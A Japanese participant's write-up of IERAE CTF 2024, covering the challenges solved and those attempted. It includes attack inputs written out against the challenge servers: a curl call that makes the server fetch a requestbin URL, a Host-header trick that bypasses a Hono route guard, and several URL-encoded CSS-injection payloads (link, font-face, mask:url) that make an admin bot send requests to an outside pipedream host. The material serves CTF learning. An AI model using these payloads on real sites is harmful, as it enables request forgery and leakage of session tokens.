ierae-ctf 2024 writeup
お疲れ様でしたー。チームnyaのabc372_b_is_too_difficultとして出て72位でした。
ユーザー名の由来はabc372のbが解けなかったからです(えぇ・・・)
welcome
ディスコードでIERAE{とかで検索する
OMG
jsの中に書いてあるので実行するだけ
derangement
solverはファイル渡して適当にchatgptに作ってもらった。
pythonのファイルが降ってくる。15文字を生成して完全に乱数で混ぜられて降ってくる
def is_derangement(perm, original):
return all(p != o for p, o in zip(perm, original))
def output_derangement(magic_word):
while True:
deranged = ''.join(random.sample(magic_word, len(magic_word)))
if is_derangement(deranged, magic_word):
print('hint:', deranged)
break
zip(perm, original)はこう。
perm = ['a', 'b', 'c']
original = ['x', 'y', 'z']
list(zip(perm, original)) # [('a', 'x'), ('b', 'y'), ('c', 'z')]
要素の全ての文字が違うかどうかが↓
p != o for p, o in zip(perm, original)
all()・・・全て。
つまり全部の文字の位置が正解と違う場所ということ。300回まで試行できるので適当に試したら通った。これ何通りなんだ。
Futari APIs
ブルアカじゃねーか!
タイトルの元ネタが分かりませんでした。ブルアカやってる先生がいたら教えてください。
解法は簡単でuserを検索しに行くのでrequestbinなどを使ってアクセスを記録する。
❯ curl 'http://34.81.219.110:3000/search?user=https://enceenkmv9a4f.x.pipedream.net/'
{"success":true}
Weak PRNG
解けなかった。
モモテクに未来のメルセンヌツイスターの挙動は載っていた。実際コードを動かしてみたら予測できて面白かった。
過去はどうすればいいか。
babewaf
解けなかった。めちゃくちゃ悔しい。
↑元ネタ
これは通る
1even4-ctf/ierae-ctf2024/GreatManagementOpener via 🐍 v3.12.4 on ☁️
❯ curl -L 'http://34.80.179.247:3000/\u202egivemeflag' -v
* Trying 34.80.179.247:3000...
* Connected to 34.80.179.247 (34.80.179.247) port 3000
> GET /\u202egivemeflag HTTP/1.1
> Host: 34.80.179.247:3000
> User-Agent: curl/8.6.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: text/html; charset=utf-8
< Content-Length: 4
< ETag: W/"4-uq/1hyTBnjVczby+znQwFGiTsYc"
< Date: Sat, 21 Sep 2024 16:22:37 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host 34.80.179.247 left intact
🚩%
大文字小文字を変えたgivemeFlagとかだとbackendまで辿り着くけど404になっちゃうし・・・
まぁでもexpressが大文字小文字を区別しないの知見だったな・・・
あとunicord encodingとかも知見だった。
writeupを見た。unicode encodingでガチャガチャやるタイプかと思ったら全然違うし…ひたすら時間溶かしてた。
通らない・・・
echo -e "GET / HTTP/1.1\r\nHost: localhost:3000\r\n\r\n" | nc 0.0.0.0 3000
全然行けないけどこれはいけたので、expressが悪いだけかも
st98さんはcurlで通してる
host書き換えるのはままある認識だけどexpresshonoって末尾に?つけるだけでこんな挙動変わるのか…
てかdockercompose降ってきてるんだからデバッグしながら動かすのやっぱ大切だなと思いました。
zenn on main [!] is 📦 v0.1.0 via 🥟 v1.1.29 via ⬢ on ☁️
❯ curl "http://localhost:3000" -L -v -H "Host: hoge/givemeflag"
* Host localhost:3000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:3000...
* Connected to localhost (::1) port 3000
> GET / HTTP/1.1
> Host: hoge/givemeflag
> User-Agent: curl/8.6.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< X-Powered-By: Express
< content-type: text/plain; charset=UTF-8
< vary: Accept-Encoding
< content-length: 13
< date: Sun, 22 Sep 2024 13:41:01 GMT
< connection: keep-alive
<
* Connection #0 to host localhost left intact
404 Not Found%
zenn on main [!] is 📦 v0.1.0 via 🥟 v1.1.29 via ⬢ on ☁️
❯ curl "http://localhost:3000/piyo" -L -v -H "Host: hoge/givemeflag?"
* Host localhost:3000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:3000...
* Connected to localhost (::1) port 3000
> GET /piyo HTTP/1.1
> Host: hoge/givemeflag?
> User-Agent: curl/8.6.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< content-type: text/plain;charset=UTF-8
< vary: Accept-Encoding
< content-length: 12
< date: Sun, 22 Sep 2024 13:41:18 GMT
< connection: keep-alive
<
* Connection #0 to host localhost left intact
IERAE{dummy}%
全然挙動違って面白い
zenn on main is 📦 v0.1.0 via 🥟 v1.1.29 via ⬢ on ☁️
❯ curl "http://35.229.187.38:3000" -H "a/givemeflag?"
<!DOCTYPE html>
<html>
<body>
<div style="transform: rotate(-5deg);">
<h1>Do you want a flag?</h1>
<button id="button" style="font-size: 3rem; transform: rotate(15deg) translatex(5rem);">
Click me!
</button>
</div>
<script>
button.addEventListener("click", async () => {
const flag = await fetch("/givemeflag").then((r) => r.text());
alert(flag);
});
</script>
</body>
</html>%
zenn on main is 📦 v0.1.0 via 🥟 v1.1.29 via ⬢ on ☁️
❯ curl "http://35.229.187.38:3000" -H "Host: a/givemeflag?"
IERAE{hono_1s_h0t_b4by}%
これがhonoの挙動なのかexpressの挙動なのかよく分かってないので追加で試してみる。
追加調査
bun create hono@latest
で適当にlocalhostで立てて試してみた
import { Hono } from 'hono'
const app = new Hono()
app.get('/', (c) => {
return c.text('Hello Hono!')
})
app.get('/givemeflag', (c) => {
return c.text('here is flag!')
})
export default app
honoの挙動っぽい
hono-playground on main [!] via 🥟 v1.1.29 via ⬢ on ☁️
❯ curl "localhost:3000/nya" -v -H "Host: a/givemeflag?"
* Host localhost:3000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:3000...
* Connected to localhost (::1) port 3000
> GET /nya HTTP/1.1
> Host: a/givemeflag?
> User-Agent: curl/8.6.0
> Accept: */*
>
< HTTP/1.1 200 OK
< content-type: text/plain;charset=utf-8
< Date: Mon, 23 Sep 2024 06:07:18 GMT
< Content-Length: 13
<
* Connection #0 to host localhost left intact
here is flag!%
expressの場合はhostをいじってもそこまで変化はありませんでした。
This is warmup
解けなかった。
全然通らなくてガチャガチャしてたけど、人々も解けてなくて安心した、ctf界隈の人々が解けてないなら自分も解けてなくてもセーフ。
この辺こそfuzzer使えそうだなって思った。
aflを使ってみる
kaliで
afl-gcc chal.c
afl-fuzz
まではできるけどinputファイルが必要。ダメそう。
pwntoolsでブルートフォース
chatgptに入力だけ渡してソルバーを作らせたら作ってくれた。ただし現実的な時間では解けなさそうでした。ある程度枝刈りしてもダメそう。
assignment
elfバイナリが降ってきたのでghidraで見てflagがどうのこうの書いてあったのでchatgptに投げた。
Luz da Lua
タイトルを後で調べたら月光って意味らしい。
デコンパイラを適当にネットから色々持ってきたがバージョンが通らなかったり苦労したが最終的に下記で通った。
java -jar unluac_2023_12_24.jar LuzDaLua.luac > test.lua
中身はこんな感じ。適当にchatgptに投げた。
Great Management Opener
頭文字を取ると極悪ドメインサービス 、お名前.comみたいなタイトルの問題。
解けなかった。
明らかにxss的なことができそうな問題サーバーと裏でクロールするadmin botが提供されている。
Challengeサーバーで登録とログインはできるがadminに行こうとすると弾かれる。
adminサーバーにrequestbinのurlを入れると徘徊はしてくれるが特にセッションidなどは残さない。
チャレンジサーバーを入れてもokしか返ってこなかった。:thinking_face:
/loginに行き、idとpwを入力し、ログイン後、inputに入れたurlに行き、30秒待つというコードになっている。
しかしコンテンツの内容や結果を出すわけではないので特に何もしてくれない。(ログインurlは固定でgotoだけ変わることに注意。)
この部分は気になっていた。
return redirect(url_for('admin', message='Success make admin!'))
xssは出来そうで出来ないなーと思っていたが、init.pyを見れば良かったっぽい。
script-src 'self'; の指定があるのでselfドメイン以外はアクセスできず、style-srcは確かに特徴的。
とりあえず下記とかを試してみたがうまく通らない。
http://web:5000/?message=%3Cstyle%3E%40font-face%7Bfont-family%3A'hack'%3Bsrc%3Aurl('https%3A%2F%2Fens92azmi4q7.x.pipedream.net%2F%3Fname%3DHan%20Solo')%7Dbody%7Bfont-family%3A'hack'%7D%3C%2Fstyle%3E
http://web:5000/?message=%3Cdiv%20style=%22background-image%3A%20url('https%3A%2F%2Fens92azmi4q7.x.pipedream.net%2F%3Fname%3DHan%2520Solo')%3B%22%3E%3C%2Fdiv%3E
やっと飛んだ。link hrefってstyle-scrディレクティブにかかるんだ。にしても一文字違うだけだったり(空白がなかったり)、httpsだと飛ばなかったりして罠過ぎないか?
http://0.0.0.0:5000/?message=%3Clink%20rel=%27stylesheet%27%20href=%22http://ens92azmi4q7.x.pipedream.net%22%20/%3E
飛ばない例。requestbin、httpでも行けることにびっくり。
http://0.0.0.0:5000/?message=%3Clink%20rel=%27stylesheet%27%20href=%22https://ens92azmi4q7.x.pipedream.net/aa%22%20/%3E
通信さえ飛べばあとはxs-leakでcsrf_tokenが分かるので省略。
ちなみにlocalhost:5000はmacだとデフォルトでairdropなどのControlCeというプロセスが占有しているみたい。最悪。
これは実際のブラウザ(本番環境)でもリクエストくる
http://web:5000/?message=%3Clink%20rel=%27stylesheet%27%20href=%22http%3A%2F%2Fenceenkmv9a4f.x.pipedream.net%22%20/%3E
なぜか一定文字数以上だとlinkとして機能しなくなる???.net
や.com
は通るが.work
は切られた???謎すぎflaskの方でtruncateの処理が入っている。
http://web:5000/?message=%3Clink%20rel=%27stylesheet%27%20href=%22http%3A%2F%2Fenceenkmv9a4f.x.pipedream.net%2Fa%22%20/%3E
http://web:5000/?message=%3Clink+rel%3D%27stylesheet%27+href%3D%22http%3A%2F%2Fenceenkmv9a4f.x.pipedream.net%2Fa%3Fvba%3Dd%22+%2F%3E
王道のbackground: url()ではこれも飛んでそう。httpsとhttp
http://0.0.0.0:5000/?message=%3Cdiv%20style=%22background:%20url(%27http://enceenkmv9a4f.x.pipedream.net%27)%22%3E
別にクエリとかつけても解釈はされる、謎すぎ
<div class="alert alert-secondary mt-3">
<div style="background: url('http://d.x.pipedream.net/a?bb=ccc')">
</div>
urlの仕様とか色々眺めてたけど、ここっぽさがある。
"<div style='background:url(http://enceenkmv9a4f.x.pipedream.net/fg)'>".length
69
まぁ微妙に64と違うけどその辺はjsとpythonの解釈違いということで
css injectionで使える短いプロパティについて
url() 関数は background, background-image, border, border-image, border-image-source, content, cursor, filter, list-style, list-style-image, mask, mask-image, offset-path, @font-face ブロック内での src, @counter-style/symbol の値として使用することができます。
リクエスト飛ぶ
http://0.0.0.0:5000/?message=%3Ca%20style=%22mask:url(http://enceenkmv9a4f.x.pipedream.net/gg?bb)%22%3E
http://0.0.0.0:5000/?message=%3Ca%20style=%22mask:url(http://ens92azmi4q7.x.pipedream.net/l?h=r)%22%3E
リクエスト飛ばない
http://0.0.0.0:5000/?message=%3Ca%20style=%22src:url(http://enceenkmv9a4f.x.pipedream.net/gg?bb)%22%3E
限界まで削る
http://0.0.0.0:5000/?message=%3Ca%20style=mask:url(http://enceenkmv9a4f.x.pipedream.net/gg?bb)%3E
ということで多分最小はmask
。実際に飛ぶコンボだと<a style=mask:url(x)>
だと思う
steal csrf
その後csrfを盗むときはwriteupにある通りblind css injectionをする必要があり、ホスト先にcssを用意して実際に読み取ってcss経由でリクエストを送信してflagを貯める必要がある。理解はしたが実際にホスティングが必要だしだるすぎる。
5
解けなかった。悔しい。
jsは[]()+!の6つがあれば全ての処理を実行できる。
jsfuckの作者知ってる人だ・・・。社でbun shellの話出てたのに気づかなかったのかなり悔しい。
Discussion